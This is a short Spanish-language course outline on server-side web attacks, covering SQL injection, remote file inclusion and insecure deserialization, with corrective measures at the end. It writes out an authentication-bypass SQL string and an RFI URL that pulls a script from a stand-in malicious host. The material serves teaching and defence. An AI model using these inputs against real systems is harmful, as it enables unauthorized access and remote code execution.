Curso de Hacking: Aplicaciones Web Server Side

Objetivo: Explorar y comprender las técnicas de hacking enfocadas en vulnerabilidades del lado del servidor (Server-Side) en aplicaciones web, para identificar fallos de seguridad y proponer medidas correctivas.

Descripción:

El hacking de aplicaciones web server-side se centra en explotar vulnerabilidades en el servidor que gestiona la lógica de la aplicación. Los ataques más comunes incluyen inyección SQL, RFI (Remote File Inclusion) y deserialización insegura.

1. Inyección SQL:

   • Un atacante inserta código SQL malicioso en un formulario de entrada para acceder a datos sensibles o modificar la base de datos.
   • Ejemplo: En una página de inicio de sesión, al ingresar ' OR '1'='1' -- en el campo de contraseña, el atacante puede eludir la autenticación.

2. RFI (Remote File Inclusion):

   • Se aprovechan aplicaciones que permiten la inclusión de archivos de forma insegura, inyectando scripts maliciosos en el servidor.
   • Ejemplo: Al modificar la URL de la aplicación para incluir un archivo remoto, como http://example.com/index.php?page=http://malicioso.com/script.php, se ejecuta el archivo malicioso en el servidor.

3. Deserialización insegura:

   • Un atacante manipula los datos serializados de una aplicación para ejecutar código arbitrario en el servidor.
   • Ejemplo: Al modificar un objeto serializado enviado al servidor, el hacker podría obtener acceso no autorizado o controlar el flujo de la aplicación.

Medidas Correctivas:

• Usar consultas parametrizadas para prevenir la inyección SQL.
• Implementar listas blancas de archivos permitidos para evitar RFI.
• Asegurar la validación de datos deserializados.

Estas técnicas resaltan la importancia de asegurar los procesos server-side para prevenir accesos no autorizados y proteger los datos de los usuarios.